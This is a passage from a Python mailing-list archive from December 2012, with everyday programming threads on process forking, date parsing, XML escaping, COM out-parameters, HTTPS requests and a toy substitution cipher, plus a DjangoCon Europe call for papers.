while strangely >> I can't reproduce the same on mine.. >> >> I know that this is not the perfect method to spawn a daemon, but I >> also wanted to keep the code >> as simple as possible since other people will maintain it.. >> >> What is the easiest solution to avoid the creation of zombies and >> maintain this functionality? >> thanks >> >> >> def on_forked_process(func): >> from os import fork >> """Decorator that forks the process, runs the function and gives >> back control to the main process >> """ >> def _on_forked_process(*args, **kwargs): >> pid = fork() >> if pid == 0: >> func(*args, **kwargs) >> _exit(0) >> else: >> return pid >> >> return _on_forked_process >> -- >> http://mail.python.org/mailman/listinfo/python-list >> > > Ever though about using the 'multiprocessing' module? It's a slightly higher API and I don't have issues with zombie processes. > You can combine this with a multiprocess log listener so that all logs are sent to the main process. > > See Vinay Sajip's code about multiprocessing and logging, http://plumberjack.blogspot.fr/2010/09/using-logging-with-multiprocessing.html > > I still had to write some cleanup code before leaving the main process, but once terminate is called on all remaining subprocesses, I'm not left with zombie processes. > Here's the cleaning: > > for proc in multiprocessing.active_children(): > proc.terminate() > > JM > > > -- IMPORTANT NOTICE: > > The contents of this email and any attachments are confidential and may also be privileged. If you are not the intended recipient, please notify the sender immediately and do not disclose the contents to any other person, use it for any purpose, or store or copy the information in any medium. Thank you. Yes I thought about that but I want to be able to kill the parent without killing the childs, because they can run for a long time.. Anyway I got something working now with this def daemonize(func): def _daemonize(*args, **kwargs): # Perform first fork. try: pid = os.fork() if pid > 0: sys.exit(0) # Exit first parent. except OSError as e: sys.stderr.write("fork #1 failed: (%d) %s\n" % (e.errno, e.strerror)) sys.exit(1) # Decouple from parent environment. # check if decoupling here makes sense in our case # os.chdir("/") # os.umask(0) # os.setsid() # Perform second fork. try: pid = os.fork() if pid > 0: return pid except OSError, e: sys.stderr.write("fork #2 failed: (%d) %s\n" % (e.errno, e.strerror)) sys.exit(1) # The process is now daemonized, redirect standard file descriptors. sys.stdout.flush() sys.stderr.flush() func(*args, **kwargs) return _daemonize @daemonize def long_smarter_process(): while True: sleep(2) print("Hello how are you?") And it works exactly as before, but more correctly.. From pjmakey2 at gmail.com Tue Dec 11 09:45:57 2012 From: pjmakey2 at gmail.com (peter) Date: Tue, 11 Dec 2012 11:45:57 -0300 Subject: forking and avoiding zombies! In-Reply-To: References: <50C6153F.8050205@gmail.com> <50C7282B.8000708@gmail.com> <50C7365F.20908@gmail.com> Message-ID: <50C74725.5060001@gmail.com> On 12/11/2012 10:57 AM, andrea crotti wrote: > where in [] I have the PID of the process. > In this suggested way I should use some other files as standard output > and error, but for that I already have the logging module that logs > in the right place.. It's not realy neccesary do use the stderr and stdout parameters, in fact the default value for those parameters are null ('/dev/null'). The functionality is like this. All you print to stdout going to be in the stdout parameter of the daemon function, and the same thing for stderr. Now my suggestion for you, is you already have initialize a "logging file", just use the logging module to redirect informacion what's is doing your forked function, and use the stderr paramater of the daemon function to DEBUG errors in the forked function. From jenn.duerr at gmail.com Tue Dec 11 09:52:29 2012 From: jenn.duerr at gmail.com (noydb) Date: Tue, 11 Dec 2012 06:52:29 -0800 (PST) Subject: strptime - dates formatted differently on different computers In-Reply-To: References: <50C6C5E7.1030300@gmail.com> Message-ID: On Tuesday, December 11, 2012 3:35:29 AM UTC-5, Greg Donald wrote: > On Mon, Dec 10, 2012 at 10:34:31PM -0700, Michael Torrie wrote: > > > I use a module I got from pypi called dateutil. It has a nice submodule > > > called parser that can handle a variety of date formats with good > > > accuracy. Not sure how it works, but it handles all the common American > > > date formats I've thrown at it. > > > > from dateutil.parser import parse > > dt = parse( whatever ) > > > > I've throw all kind of date and timestamps at it.. have yet to see anything it won't parse. > > > > > > -- > > Greg Donald Thanks - I tried this (dateutil.parser import parsed...), and it works. I'm skeptical of it working for any crazy date string thrown at it, but for my purposes it should suffice -- and my purposes for now was purely just curiousity on how to handle if it became necessary. I tried figuring out Steve D'Aprano's solution above on my system (windows 7, python 2.7) - no luck. Sorry, I am a newbie, so I'm a bit lost on this --- my locale module doesnt offer a nl_langinfo function -- why would this be? From jenn.duerr at gmail.com Tue Dec 11 09:52:29 2012 From: jenn.duerr at gmail.com (noydb) Date: Tue, 11 Dec 2012 06:52:29 -0800 (PST) Subject: strptime - dates formatted differently on different computers In-Reply-To: References: <50C6C5E7.1030300@gmail.com> Message-ID: On Tuesday, December 11, 2012 3:35:29 AM UTC-5, Greg Donald wrote: > On Mon, Dec 10, 2012 at 10:34:31PM -0700, Michael Torrie wrote: > > > I use a module I got from pypi called dateutil. It has a nice submodule > > > called parser that can handle a variety of date formats with good > > > accuracy. Not sure how it works, but it handles all the common American > > > date formats I've thrown at it. > > > > from dateutil.parser import parse > > dt = parse( whatever ) > > > > I've throw all kind of date and timestamps at it.. have yet to see anything it won't parse. > > > > > > -- > > Greg Donald Thanks - I tried this (dateutil.parser import parsed...), and it works. I'm skeptical of it working for any crazy date string thrown at it, but for my purposes it should suffice -- and my purposes for now was purely just curiousity on how to handle if it became necessary. I tried figuring out Steve D'Aprano's solution above on my system (windows 7, python 2.7) - no luck. Sorry, I am a newbie, so I'm a bit lost on this --- my locale module doesnt offer a nl_langinfo function -- why would this be? From real-not-anti-spam-address at apple-juice.co.uk Tue Dec 11 09:55:22 2012 From: real-not-anti-spam-address at apple-juice.co.uk (D.M. Procida) Date: Tue, 11 Dec 2012 14:55:22 +0000 Subject: [ANN] DjangoCon Europe 2013 call for papers Message-ID: DjangoCon Europe will be held in Warsaw from the 15th-19th May 2013 (three days of talks followed by two of sprints and workshops). The organisers are very pleased to invite members of the Django community to submit their talk proposals for the event. We're looking for Django and Python enthusiasts, pioneers, adventurers and anyone else who would like to share their Django achievements and experiments with the rest of the community. We are particularly keen to invite submissions from potential speakers who have not previously considered speaking at an event like this - so if you haven't, please consider it now! We really look forward to hearing from you all, and seeing you in Warsaw next May. For more information, see . This call for papers closes on January 8th 2013. Powodzenia! Daniele, on behalf of the DjangoCon Europe organising committee. From nutznetz-0c1b6768-bfa9-48d5-a470-7603bd3aa915 at spamschutz.glglgl.de Tue Dec 11 10:15:18 2012 From: nutznetz-0c1b6768-bfa9-48d5-a470-7603bd3aa915 at spamschutz.glglgl.de (Thomas Rachel) Date: Tue, 11 Dec 2012 16:15:18 +0100 Subject: forking and avoiding zombies! In-Reply-To: References: <50C6153F.8050205@gmail.com> <50C7282B.8000708@gmail.com> Message-ID: Am 11.12.2012 14:34 schrieb peter: > On 12/11/2012 10:25 AM, andrea crotti wrote: >> Ah sure that makes sense! >> >> But actually why do I need to move away from the current directory of >> the parent process? >> In my case it's actually useful to be in the same directory, so maybe >> I can skip that part, >> or otherwise I need another chdir after.. > You don't need to move away from the current directory. You cant use os > to get the current work directory > > stderrfile = '%s/error.log' % os.getcwd() > stdoutfile = '%s/out.log' % os.getcwd() ITYM os.path.join(os.getcwd(), 'error.log') resp. os.path.join(os.getcwd(), 'out.log') Thomas From feedbackflow at gmail.com Tue Dec 11 10:32:47 2012 From: feedbackflow at gmail.com (Bart Thate) Date: Tue, 11 Dec 2012 16:32:47 +0100 Subject: JSON logging ? Message-ID: Is it possible to change hooks or something to let the logging SocketServer stuff handle JSON instead of pickle ? I am thinking of sending my JSON dict data through the logging system to remote. A default standard way to send stuff back and forth would be welcome here. pickle uses eval still ? or is is considered safe now ? i was told not to use eval() stuff on data. Strange thing i never thought of using the logging plugin to send stuff remote. -------------- next part -------------- An HTML attachment was scrubbed... URL: From coder1024 at gmail.com Tue Dec 11 10:37:55 2012 From: coder1024 at gmail.com (bitbucket) Date: Tue, 11 Dec 2012 07:37:55 -0800 (PST) Subject: accessing an OLE Automation (IDispatch) server from python which requires the use of "out params" In-Reply-To: References: <38a14001-82b6-4a91-b3ad-2cb5c8ee580d@googlegroups.com> Message-ID: On Tuesday, December 11, 2012 3:42:35 AM UTC-5, Paul K?lle wrote: > Before switching technologies I'd check if this solves your problem > > http://geekswithblogs.net/Lance/archive/2009/01/14/pass-by-reference-parameters-in-powershell.aspx > > TL;DR IMHO "out" parameters are basically pointers (pass by reference) > > and need to be passed like GetSettingValue("name", [ref]$value)... > Thanks for the suggestion. I believe the [ref] syntax was one of the things I tried, but it didn't work in the context of OLE Automation (IDispatch) calls. From coder1024 at gmail.com Tue Dec 11 10:37:55 2012 From: coder1024 at gmail.com (bitbucket) Date: Tue, 11 Dec 2012 07:37:55 -0800 (PST) Subject: accessing an OLE Automation (IDispatch) server from python which requires the use of "out params" In-Reply-To: References: <38a14001-82b6-4a91-b3ad-2cb5c8ee580d@googlegroups.com> Message-ID: On Tuesday, December 11, 2012 3:42:35 AM UTC-5, Paul K?lle wrote: > Before switching technologies I'd check if this solves your problem > > http://geekswithblogs.net/Lance/archive/2009/01/14/pass-by-reference-parameters-in-powershell.aspx > > TL;DR IMHO "out" parameters are basically pointers (pass by reference) > > and need to be passed like GetSettingValue("name", [ref]$value)... > Thanks for the suggestion. I believe the [ref] syntax was one of the things I tried, but it didn't work in the context of OLE Automation (IDispatch) calls. From coder1024 at gmail.com Tue Dec 11 10:48:53 2012 From: coder1024 at gmail.com (bitbucket) Date: Tue, 11 Dec 2012 07:48:53 -0800 (PST) Subject: accessing an OLE Automation (IDispatch) server from python which requires the use of "out params" In-Reply-To: References: <38a14001-82b6-4a91-b3ad-2cb5c8ee580d@googlegroups.com> Message-ID: <5b228557-2788-4243-b840-5c8aa03d5423@googlegroups.com> On Monday, December 10, 2012 8:16:43 PM UTC-5, Mark Hammond wrote: > "out" params are best supported if the object supplied a typelib - then > Python knows the params are out and does the right thing automagically. > If out params are detected, the result of the function will be a tuple > of (real_result, out_param1, ...) > > Even if no typelib is supported, you can access them with a little pain > via the win32com.client.Dispatch() object. You might like to follow up > to the python-win32 at python.org mailing list where many people will be > able to help. > > HTH, > > Mark Mark, thanks for the reply. In this case, I have a type library and attempted to use MakePy but it doesn't seem to be working as expected. I was reading through CH12 of your Python Programming on Win32 book (http://oreilly.com/catalog/pythonwin32/chapter/ch12.html). I was hopeful given your description of MakePy that I could get this to work. It appears that you're saying MakePy will convert "byref" args in a function over to return values. For example, the IDL in the server includes the following 3 functions. [id(1)] void ShowMessage(BSTR msg); [id(2)] void GetSettingValue(BSTR settingName, BSTR* settingValue); [id(3)] void SetSettingValue(BSTR settingName, BSTR settingValue); The thorny one is the GetSettingValue since it takes the out param. When I run MakePy, it generates the below. def ShowMessage(self, msg=defaultNamedNotOptArg): return self._oleobj_.InvokeTypes(1, LCID, 1, (24, 0), ((8, 0),),msg ) def GetSettingValue(self, settingName=defaultNamedNotOptArg, settingValue=defaultNamedNotOptArg): return self._oleobj_.InvokeTypes(2, LCID, 1, (24, 0), ((8, 0), (16392, 0)),settingName , settingValue) def SetSettingValue(self, settingName=defaultNamedNotOptArg, settingValue=defaultNamedNotOptArg): return self._oleobj_.InvokeTypes(3, LCID, 1, (24, 0), ((8, 0), (8, 0)),settingName , settingValue) I noticed that the argument type is different for the out param (16392 instead of 8). However, it doesn't appear to me that its generating return values instead of args (though I'm not very experienced in python). I tried invoking these in python. The ShowMessage and SetSettingValue work great. I can't get the GetSettingValue to work though. Perhaps there's a different syntax I need when using the MakePy generated code? From coder1024 at gmail.com Tue Dec 11 10:48:53 2012 From: coder1024 at gmail.com (bitbucket) Date: Tue, 11 Dec 2012 07:48:53 -0800 (PST) Subject: accessing an OLE Automation (IDispatch) server from python which requires the use of "out params" In-Reply-To: References: <38a14001-82b6-4a91-b3ad-2cb5c8ee580d@googlegroups.com> Message-ID: <5b228557-2788-4243-b840-5c8aa03d5423@googlegroups.com> On Monday, December 10, 2012 8:16:43 PM UTC-5, Mark Hammond wrote: > "out" params are best supported if the object supplied a typelib - then > Python knows the params are out and does the right thing automagically. > If out params are detected, the result of the function will be a tuple > of (real_result, out_param1, ...) > > Even if no typelib is supported, you can access them with a little pain > via the win32com.client.Dispatch() object. You might like to follow up > to the python-win32 at python.org mailing list where many people will be > able to help. > > HTH, > > Mark Mark, thanks for the reply. In this case, I have a type library and attempted to use MakePy but it doesn't seem to be working as expected. I was reading through CH12 of your Python Programming on Win32 book (http://oreilly.com/catalog/pythonwin32/chapter/ch12.html). I was hopeful given your description of MakePy that I could get this to work. It appears that you're saying MakePy will convert "byref" args in a function over to return values. For example, the IDL in the server includes the following 3 functions. [id(1)] void ShowMessage(BSTR msg); [id(2)] void GetSettingValue(BSTR settingName, BSTR* settingValue); [id(3)] void SetSettingValue(BSTR settingName, BSTR settingValue); The thorny one is the GetSettingValue since it takes the out param. When I run MakePy, it generates the below. def ShowMessage(self, msg=defaultNamedNotOptArg): return self._oleobj_.InvokeTypes(1, LCID, 1, (24, 0), ((8, 0),),msg ) def GetSettingValue(self, settingName=defaultNamedNotOptArg, settingValue=defaultNamedNotOptArg): return self._oleobj_.InvokeTypes(2, LCID, 1, (24, 0), ((8, 0), (16392, 0)),settingName , settingValue) def SetSettingValue(self, settingName=defaultNamedNotOptArg, settingValue=defaultNamedNotOptArg): return self._oleobj_.InvokeTypes(3, LCID, 1, (24, 0), ((8, 0), (8, 0)),settingName , settingValue) I noticed that the argument type is different for the out param (16392 instead of 8). However, it doesn't appear to me that its generating return values instead of args (though I'm not very experienced in python). I tried invoking these in python. The ShowMessage and SetSettingValue work great. I can't get the GetSettingValue to work though. Perhaps there's a different syntax I need when using the MakePy generated code? From coder1024 at gmail.com Tue Dec 11 10:54:55 2012 From: coder1024 at gmail.com (bitbucket) Date: Tue, 11 Dec 2012 07:54:55 -0800 (PST) Subject: accessing an OLE Automation (IDispatch) server from python which requires the use of "out params" In-Reply-To: <5b228557-2788-4243-b840-5c8aa03d5423@googlegroups.com> References: <38a14001-82b6-4a91-b3ad-2cb5c8ee580d@googlegroups.com> <5b228557-2788-4243-b840-5c8aa03d5423@googlegroups.com> Message-ID: On Tuesday, December 11, 2012 10:48:53 AM UTC-5, bitbucket wrote: > > I noticed that the argument type is different for the out param (16392 instead of 8). However, it doesn't appear to me that its generating return values instead of args (though I'm not very experienced in python). > I see that the value 16392 is really VT_BYREF | VT_BSTR and 8 is just VT_BSTR. So in that case it appears MakePy is taking noticed at least of the VT_BYREF and including that in the generated code (since it uses 16392). So maybe there's a special way I need to call the generated wrapper? From coder1024 at gmail.com Tue Dec 11 10:54:55 2012 From: coder1024 at gmail.com (bitbucket) Date: Tue, 11 Dec 2012 07:54:55 -0800 (PST) Subject: accessing an OLE Automation (IDispatch) server from python which requires the use of "out params" In-Reply-To: <5b228557-2788-4243-b840-5c8aa03d5423@googlegroups.com> References: <38a14001-82b6-4a91-b3ad-2cb5c8ee580d@googlegroups.com> <5b228557-2788-4243-b840-5c8aa03d5423@googlegroups.com> Message-ID: On Tuesday, December 11, 2012 10:48:53 AM UTC-5, bitbucket wrote: > > I noticed that the argument type is different for the out param (16392 instead of 8). However, it doesn't appear to me that its generating return values instead of args (though I'm not very experienced in python). > I see that the value 16392 is really VT_BYREF | VT_BSTR and 8 is just VT_BSTR. So in that case it appears MakePy is taking noticed at least of the VT_BYREF and including that in the generated code (since it uses 16392). So maybe there's a special way I need to call the generated wrapper? From buzzard at invalid.invalid Tue Dec 11 11:39:27 2012 From: buzzard at invalid.invalid (duncan smith) Date: Tue, 11 Dec 2012 16:39:27 +0000 Subject: String manipulation in python..NEED HELP!!!! In-Reply-To: References: Message-ID: <50c761c6$0$12435$a8266bb1@newsreader.readnews.com> On 10/12/12 22:38, qbailey at ihets.org wrote: > I need help with a program i am doing. it is a cryptography program. i am given a regular alphabet and a key. i need to use the user input and use the regular alphabet and use the corresponding letter in the key and that becomes the new letter. i have the basic code but need help with how to mainpulate the string to do the encryption/decryption. please help > > here is my code so far: > > > """ crypto.py > Implements a simple substitution cypher > """ > > alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" > key = "XPMGTDHLYONZBWEARKJUFSCIQV" > > def main(): > keepGoing = True > while keepGoing: > response = menu() > if response == "1": > plain = raw_input("text to be encoded: ") > print encode(plain) > elif response == "2": > coded = raw_input("code to be decyphered: ") > print decode(coded) > elif response == "0": > print "Thanks for doing secret spy stuff with me." > keepGoing = False > else: > print "I don't know what you want to do..." > > > > > i really need help on how to encrypt it im not sure how to go about doing that please help. > >>> alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" >>> key = "XPMGTDHLYONZBWEARKJUFSCIQV" >>> mapping = {} >>> for i, ch in enumerate(alpha): mapping[ch] = key[i] >>> ''.join(mapping[ch] for ch in "ACE") 'XMT' >>> ''.join(mapping[ch] for ch in "WORD") 'CEKG' >>> Duncan From nenad.cikic at gmail.com Tue Dec 11 12:47:26 2012 From: nenad.cikic at gmail.com (nenad.cikic at gmail.com) Date: Tue, 11 Dec 2012 09:47:26 -0800 (PST) Subject: Create xml with elementtree ET and xml escaping Message-ID: <7caeb6db-41f9-4321-b172-f8ddb6a9ac6d@googlegroups.com> Hello, I have posted the same in XML group but it seems pretty dead there so I will repost here. I am new to xml processing in python. I am looking to create XML. Xml is not too difficult so I thought to create it manually using ElementTree. First I noted that ET.toString does escape <>& but not " and ' Is that normal? Since I have also the need to sign the XML I need the ability to create xml but without xml escaping (unescaped data are signed). If i do ET.toString(root,'utf8',text') i do not get the xml tags and if I do ET.toString(root,'utf8') I get escaped chars. For example: a=ET.Element('a') b=ET.SubElement(a,'b') b.text=u"??<>&" ET.tostring(a,'utf8') outputs to "\n\xc5\xa1\xc4\x91<>&" ET.tostring(a,'utf8',method='text') outputs to "\xc5\xa1\xc4\x91<>&" and I need before singing \xc5\xa1\xc4\x91<>& and after signing \xc5\xa1\xc4\x91<>& Is there some way other than string replace? Thanks Nenad From nenad.cikic at gmail.com Tue Dec 11 13:26:24 2012 From: nenad.cikic at gmail.com (nenad.cikic at gmail.com) Date: Tue, 11 Dec 2012 10:26:24 -0800 (PST) Subject: Establishing Https connection Message-ID: <90968092-9853-4d8a-9bd6-ee42d4f8b2f8@googlegroups.com> Hello, Once I get my xml populated I have to send it to web service. Should I use httplib? I am reading the docs and I have managed to open the connection with httplib.HTTPSConnection(host[, port[, key_file[, cert_file[, strict[, timeout[, source_address]]]]]]) After that i intend to use HTTPConnection.request('POST', url[, body[, headers]]) During opening it asks me for the password. I see that the urllib class has prompt_user_passwd() that can be overriden for the password supply, so that no console action is necessary, but with httplib how is done? My questions are: -am I using the right class? -i intend to store certificate and private key in database, but how can I use them without saving back to file? I have already developed applications for http/https but not in python, so I need some hint to point me in the right direction. Thanks Nenad From tjreedy at udel.edu Tue Dec 11 14:30:23 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Tue, 11 Dec 2012 14:30:23 -0500 Subject: String manipulation in python..NEED HELP!!!! In-Reply-To: References: Message-ID: On 12/10/2012 5:59 PM, John Gordon wrote: > def encode(plain): > '''Return a substituted version of the plain text.''' > encoded = '' > for ch in plain: > encoded += key[alpha.index(ch)] > return encoded The turns an O(n) problem into a slow O(n*n) solution. Much better to build a list of chars and then join them. -- Terry Jan Reedy From kwpolska at gmail.com Tue Dec 11 14:45:29 2012 From: kwpolska at gmail.com (Kwpolska) Date: Tue, 11 Dec 2012 20:45:29 +0100 Subject: Establishing Https connection In-Reply-To: <90968092-9853-4d8a-9bd6-ee42d4f8b2f8@googlegroups.com> References: <90968092-9853-4d8a-9bd6-ee42d4f8b2f8@googlegroups.com> Message-ID: On Tue, Dec 11, 2012 at 7:26 PM, wrote: > Hello, > Once I get my xml populated I have to send it to web service. > Should I use httplib? > I am reading the docs and I have managed to open the connection with > httplib.HTTPSConnection(host[, port[, key_file[, cert_file[, strict[, timeout[, source_address]]]]]]) > After that i intend to use > HTTPConnection.request('POST', url[, body[, headers]]) > > During opening it asks me for the password. I see that the urllib class has prompt_user_passwd() that can be overriden for the password supply, so that no console action is necessary, but with httplib how is done? > My questions are: > -am I using the right class? > -i intend to store certificate and private key in database, but how can I use them without saving back to file? > > I have already developed applications for http/https but not in python, so I need some hint to point me in the right direction. > > Thanks > Nenad > > -- > http://mail.python.org/mailman/listinfo/python-list I, for one, suggest for your sanity. I guess it would be something along the lines of: import requests xml = """ ...""" files = {'file-field-as-requested-by-the-service': xml} requests.post(url, files=files, auth=HTTPDigestAuth('user', 'pass')) Plus http://docs.python-requests.org/en/latest/user/advanced/#ssl-cert-verification and other stuff from there. Httplib may not be wrong, but I?m doing this for your sanity. -- Kwpolska stop html mail | always bottom-post www.asciiribbon.org | www.netmeister.org/news/learn2quote.html GPG KEY: 5EAAEA16 From python at mrabarnett.plus.com Tue Dec 11 14:59:54 2012 From: python at mrabarnett.plus.com (MRAB) Date: Tue, 11 Dec 2012 19:59:54 +0000 Subject: Create xml with elementtree ET and xml escaping In-Reply-To: <7caeb6db-41f9-4321-b172-f8ddb6a9ac6d@googlegroups.com> References: <7caeb6db-41f9-4321-b172-f8ddb6a9ac6d@googlegroups.com> Message-ID: <50C790BA.2060401@mrabarnett.plus.com> On 2012-12-11 17:47, nenad.cikic at gmail.com wrote: > Hello, I have posted the same in XML group but it seems pretty dead there so I will repost here. > > I am new to xml processing in python. > I am looking to create XML. Xml is not too difficult so I thought to create it manually using ElementTree. > First I noted that ET.toString does escape <>& but not " and ' > Is that normal? > " needs to be encoded when it's in an attribute's value: because it's also being used as a delimiter in that case, but elsewhere it has no special meaning. > Since I have also the need to sign the XML I need the ability to create xml but without xml escaping (unescaped data are signed). XML with the escaping isn't valid XML. > If i do ET.toString(root,'utf8',text') i do not get the xml tags and if I do ET.toString(root,'utf8') I get escaped chars. > For example: > a=ET.Element('a') > b=ET.SubElement(a,'b') > b.text=u"??<>&" > > ET.tostring(a,'utf8') > outputs to > "\n\xc5\xa1\xc4\x91<>&" > > ET.tostring(a,'utf8',method='text') > outputs to > "\xc5\xa1\xc4\x91<>&" > > and I need before singing > \xc5\xa1\xc4\x91<>& > and after signing > \xc5\xa1\xc4\x91<>& > > Is there some way other than string replace? > From usenet at solar-empire.de Tue Dec 11 15:18:03 2012 From: usenet at solar-empire.de (Marc Christiansen) Date: Tue, 11 Dec 2012 21:18:03 +0100 Subject: strptime - dates formatted differently on different computers References: <50C6C5E7.1030300@gmail.com> Message-ID: Greg Donald wrote: > On Mon, Dec 10, 2012 at 10:34:31PM -0700, Michael Torrie wrote: >> I use a module I got from pypi called dateutil. It has a nice submodule >> called parser that can handle a variety of date formats with good >> accuracy. Not sure how it works, but it handles all the common American >> date formats I've thrown at it. > > from dateutil.parser import parse > dt = parse( whatever ) > > I've throw all kind of date and timestamps at it.. have yet to see > anything it won't parse. Interesting. First thing I tried gave an error: >>> import locale >>> locale.setlocale(locale.LC_ALL, '') 'LC_CTYPE=de_DE.utf8;LC_NUMERIC=de_DE.utf8;LC_TIME=de_DE.utf8;LC_COLLATE=C;LC_MONETARY=de_DE.utf8;LC_MESSAGES=C;LC_PAPER=de_DE.utf8;LC_NAME=de_DE.utf8;LC_ADDRESS=de_DE.utf8;LC_TELEPHONE=de_DE.utf8;LC_MEASUREMENT=de_DE.utf8;LC_IDENTIFICATION=de_DE.utf8' >>> from dateutil.parser import parse >>> parse('1. Januar 2013') Traceback (most recent call last): File "", line 1, in File "/usr/lib64/python3.3/site-packages/dateutil/parser.py", line 720, in parse return DEFAULTPARSER.parse(timestr, **kwargs) File "/usr/lib64/python3.3/site-packages/dateutil/parser.py", line 310, in parse raise ValueError("unknown string format") ValueError: unknown string format >>> parse('1.2.2013') # ambiguous, I know datetime.datetime(2013, 1, 2, 0, 0) # should be datetime.datetime(2013, 2, 1, 0, 0) so it doesn't like long german dates and it misparses the numerical form. And I even was so nice to set the locale :) (not that it succeeds without?) I admit I didn't read any documentation on it apart from help(parse) which mentions a parserinfo argument, so one could probably give it a hand at parsing. The only thing this shows is that parsing dates is difficult. Marc From jeandubois314 at gmail.com Tue Dec 11 15:48:30 2012 From: jeandubois314 at gmail.com (Jean Dubois) Date: Tue, 11 Dec 2012 12:48:30 -0800 (PST) Subject: problem with usbtmc-communication References: <05927d41-f73f-4fef-9a6d-4133e5c7d86a@n8g2000vbb.googlegroups.com> <123edfab-b46a-4a47-8b73-3f47e807e074@c16g2000yqi.googlegroups.com> <01cdbc70-7e46-4225-9baa-b555619d1aa8@10g2000yqo.googlegroups.com> <99b04e06-734c-4702-bf74-855e28d8f633@x20g2000vbf.googlegroups.com> <50b9eb4f-f319-491d-894c-2a9386b6941a@x20g2000vbf.googlegroups.com> Message-ID: On 11 dec, 15:34, w... at mac.com wrote: > On Dec 11, 2012, at 1:58 AM, Jean Dubois wrote: > > > > > > > > > > > On 10 dec, 16:34, w... at mac.com wrote: > >> On Dec 10, 2012, at 8:31 AM, Jean Dubois wrote: > > >> [byte] > >>> As you can see this approach suffers from the same "buffer problem" as > >>> the approach with readline did. One now good argue as a workaround: > >>> get rid of the first data pair and add an extra measure command for > >>> the missing data pair, however this still does not explain why this > >>> problem is there in Python and not in Octave and I also fear I'll get > >>> more trouble when sending combined commands e.g. such as that to > >>> create a staircase current > >>> So my question is, how to modify the Python-code such that the first > >>> data pair is indeed the first data pair > > >>> thanks, > >>> jean > > >>> Here follows the new code: > >>> #!/usr/bin/python > >>> import time > >>> import os > >>> import sys > >>> measurementcurr='' > >>> measurementvolt='' > >>> timesleepdefault=5 > >>> print "Enter a numofchar (11 = >>> numofchar = int(raw_input()) > >>> filename ='mydata.txt' > >>> usbkeith = open('/dev/usbtmc1','r+') > >>> usbkeith.flush() > >>> usbkeith.write("*IDN?\n") > > >> It seems like a real leap of faith to be opening /dev/usbtmc1 as though it were a file-oriented device. ?I've never heard of ANY instrument interface implemented this way. > >> Where did you see example code that did that. > > I found examples in theusbtmckernel driver documentation (the > > examples there are given in C): > >http://www.home.agilent.com/upload/cmc_upload/All/usbtmc.htm?&cc=BE&l... > > OK - I see where the examples came from, and I notice - > > ? ? ? ? int my_inst; > ? ? ? ? my_inst=open(?/dev/usbtmc1?,O_RDWR); > ? ? ? ? write(my_inst,?*RST\n?,5); > ? ? ? ? close(my_inst); > > and similarly in another place - > > ? ? ? ? retval=write(myfile,"*IDN?\n",6); > > Note that both write commands contain a byte count of the number of characters to be written (\n counts as one character). > Again, the read commands contain byte counts. ?I'm very suspicious that a write command with no byte count writes nothing, but does move a buffer pointer. > > -Bill Does Python support/implement simular commands? Can I use usbkeith.write("*IDN?\n",6) and something simular for the reading commands? thanks, jean From rridge at csclub.uwaterloo.ca Tue Dec 11 15:52:30 2012 From: rridge at csclub.uwaterloo.ca (Ross Ridge) Date: Tue, 11 Dec 2012 15:52:30 -0500 Subject: String manipulation in python..NEED HELP!!!! References: Message-ID: John Gordon wrote: > def encode(plain): > '''Return a substituted version of the plain text.''' > encoded = '' > for ch in plain: > encoded += key[alpha.index(ch)] > return encoded Terry Reedy wrote: >The turns an O(n) problem into a slow O(n*n) solution. Much better to >build a list of chars and then join them. There have been much better suggestions in this thread, but John Gordon's code above is faster than the equivilent list and join implementation with Python 2.6 and Python 3.1 (the newest versions I have handy). CPython optimized this case of string concatenation into O(n) back in Python 2.4. Ross Ridge -- l/ // Ross Ridge -- The Great HTMU [oo][oo] rridge at csclub.uwaterloo.ca -()-/()/ http://www.csclub.uwaterloo.ca/~rridge/ db // From dave at linkscape.net Tue Dec 11 15:57:24 2012 From: dave at linkscape.net (Dave Cinege) Date: Tue, 11 Dec 2012 15:57:24 -0500 Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes In-Reply-To: References: <201212102248.50766.dave@cinege.com> Message-ID: <201212111557.24851.dave@linkscape.net> On Tuesday 11 December 2012 01:41:38 Ian Kelly wrote: > running into bugs like this: > >>> thes = Thesaurus() > >>> thes.update = 'now' > >>> thes.update > > I've noticed this but it's mostly pointless, as meaningful code does work. (Also you stepped on the existing 'update()' dictionary method.) >>> import thesaurus >>> t = thesaurus.Thesaurus() >>> t.s = 'now' >>> t.s + ' this' >'now this' Works perfect. However I'll take a look at __getattribute__ as from what you say it's more proper. > Second, in __getitem__ you start a loop with "for i in > range(len(l)):", and then you use i as an index into l several times. > It would be cleaner and more Pythonic to do "for i, part in > enumerate(l):", and then you can replace every occurrence of "l[i]" My python is still 'old school' due to being stuck on old versions for in production embedded system python applications. > It's not clear to me what the isinstance call here is meant to be > testing for. It's used to determine if it's the root instance of the recursive string because self.data, not self must be used to access that. Can you offer a better way? > The prior statements require key to be a string. If key > is a string, then by construction l[0] is also a string. So it seems > to me that the isinstance check here will always be False. OK, try and remove it and then get back to me. :-) > In any case, the key splitting here seems to be done primarily to > support the use of formatting placeholders like "%(L.l.1)s" in the > examples. I want to point out that this use case is already well > supported (I might even say "better" supported since it cleanly > distinguishes index elements from attributes with syntax) by the Thesaurus recursion works with modules like Template, in addition to allowing easy hierarchical organization of (global) data. It's not about string formatting. It's about organizing data and recursive retrieval of that data. > Lastly, you have several bare "except" clauses in the code. Bare Not going to get into religion. There is no 'correct' way to do this code at all because it's not established normal python. I left it simple and it suits my needs. I've converted several production commercial utilities and applications to use Thesaurus, and have seen nothing but benefit. If anyone needs more to this, have at it, I'm busy Dave From greg.ewing at canterbury.ac.nz Tue Dec 11 16:01:03 2012 From: greg.ewing at canterbury.ac.nz (Gregory Ewing) Date: Wed, 12 Dec 2012 10:01:03 +1300 Subject: The Zen of Zope, by Alex Clark In-Reply-To: <50c563e0$0$21722$c3e8da3$76491128@news.astraweb.com> References: <50c563e0$0$21722$c3e8da3$76491128@news.astraweb.com> Message-ID: Steven D'Aprano wrote: > On Sun, 09 Dec 2012 20:13:43 -0500, Alex Clark wrote: > >>The Zen of Zope, by Alex Clark > > I expect that I would find that hilarious if I knew anything about Zope :) It's probably a good thing I don't know much about Zope, because I'm already finding it hilarious. If I knew more, the hilarity level might become physically dangerous. -- Greg From tolidtm at gmail.com Tue Dec 11 16:01:18 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Tue, 11 Dec 2012 22:01:18 +0100 Subject: MySQLdb compare lower Message-ID: Hello guys, Excuse me for the noob question, but is there a 